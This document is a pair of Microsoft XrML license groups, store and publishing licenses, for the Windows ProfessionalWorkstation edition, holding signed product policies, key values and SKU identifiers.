<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{45d86d1b-5a2a-41bb-b1be-f197f892c73c}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{90da7373-1c51-430b-bf26-c97e9c5cdc31}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>lmCPMp+x+R0zMNX7H4FRZjLkokU=</DigestValue></Reference></SignedInfo><SignatureValue>Y5qRa614x5gbd2c6nUc567TVxCv6pjemjlUCdnL4u6ub+D5wgTvE2GCUIsl2eQfp/UeNvAX7nJypIeCcrIEEVUmseZxqGxngMZaEmzxsd55B5SRd5/aibIgjmYG6IBpGbU7orHx4iH2Vjjd+aQW4RUKzMaoOV4nQ37jo76woSIv1WFytlaTbzI8IDqcAgxHQ9J/aOsdf3F7fPoz0NzST6Pv2g9V7w5mSpn+7xDt/N1wWnyrFNcaLMUJvOIB2qYfBCkzUgqGQndW/RdQ9OqDwOlmLzpYSyL2AMPf1CAWIPDYeQzkNTmcsp2pofbqMCtIqIbczU7XzQDwgwRYNpt5nGA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="privateCertificateId">{77a98698-a985-4ad5-b0b1-a99cad6cc0a7}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{77a98698-a985-4ad5-b0b1-a99cad6cc0a7}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>+Tv4u29RcdrtFoyvHUQH4BaNT6s=</DigestValue></Reference></SignedInfo><SignatureValue>q2gGobPW4mKRpmTqgPnauzlIVF7POP+tvhJsAQahE8t7cgOiiBlqks0btSGacqjTcjO4elGCQWNw84tVyOBpsx4fUxz65kvaD6R1crWhNxMqXXPfAx4XW0KSmvjG8SfTzUBPo/Oi7+sBEt2eKWRIPNC5qAM0k2jcbJd4/C2mBDqp1ipLrbnCQ1r+N5jnTnd2auki2jCamrqZ2QivD4zNv0eSjGzSMucIhTV88UUYi1MRAjA86YrC+K6TwsGu7YrbhUDZQJYrpa+gD2sWwG4t2oPblBoVwNf2+z3oLvQrtd+E1C6drOLqDb4IGghvTZO3MMPazWY60My40Old5MSVEg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{45d86d1b-5a2a-41bb-b1be-f197f892c73c}</tm:infoStr><tm:infoStr name="productSkuId">{90da7373-1c51-430b-bf26-c97e9c5cdc31}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{562ead9c-bcb5-4ea4-aeb4-cb541d1b4f84}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {e1c51358-fe3e-4203-a4a2-3b6b20c9734e}, {6d646890-3606-461a-86ab-598bb84ace82}, {bbb97b3b-8ca4-4a28-9717-89fabd42c4ac}, {cbdcb1ba-e093-4c81-a463-10775291fdf9}, {11B15659-E603-4CF1-9C1F-F0EC01B81888}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>9wLeJF2nfkZycFwxbh5K0C9qKe0=</DigestValue></Reference></SignedInfo><SignatureValue>o1sibx5J8JMhzPxP7xY+32i1wd8C3m4uYyi96nxmh0KwvD4A/69HDabc8Gwkt/84d5UUikRJHCQZY+tWg8re+8HV5fsTSeEkxhY9j9fq8ZxL4XP2h1W9ZeMzfwEXTX390yylxwQJsGPhSYnAA9AZjBXkIuw1n9SX6/WwjuvaRVfsNIwcf1PKE8ivOF7Q/W4UqoIhL5QHwWmu9/wG20xBjkFNwuOdDidLVQOqQbrcxHadiFhCnhsV0jHGgOojPbhcTd7nPMyU6fxtSzFo8jl031VuM2hH3VxvX1qA3fWy8yjwgsG4hjxot3lW3yi9tTEPZ5OzQ0oORveZq1MCzdiM0w==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{60b3ec1b-9545-4921-821f-311b129dd6f6}</tm:infoStr><tm:infoStr name="privateCertificateId">{2c3d513b-01a7-4b6c-9819-88cf3879faa3}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{2c3d513b-01a7-4b6c-9819-88cf3879faa3}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>sDh6FszS1g68ZF0ZW6Llh+ITW/U=</DigestValue></Reference></SignedInfo><SignatureValue>ejEUCNZ+bIdTEFPaD7W7jg/e73MYd+jKIx0zmv1tdCjqTMkdBLops3Hgc1CgJSgmAlB7u9IHQbHt8iBlAj3LiG+mzB/2OMhMTScq8FohBaRSdikkClHt4R34X4Iv9WInAIrayXaDsD4axRcP1QgcCEdeWTY59THoxUrUlWaP7zmLDb5JCeoAWxFvI1A1p7UX+y0XYBAspvoGWnL1xOcfTQ0wq5sTMl3UIPF1gWND85mlJSTYekB741EjxxXfuMBxXD5z32B0HYhTs+h3XrifTKYtQ7cWaewLHztzI4NkEn8KzHSc2YveoIdL44Kc6g5zGJtV9NfC2pk66N8b0kIryA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{562ead9c-bcb5-4ea4-aeb4-cb541d1b4f84}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
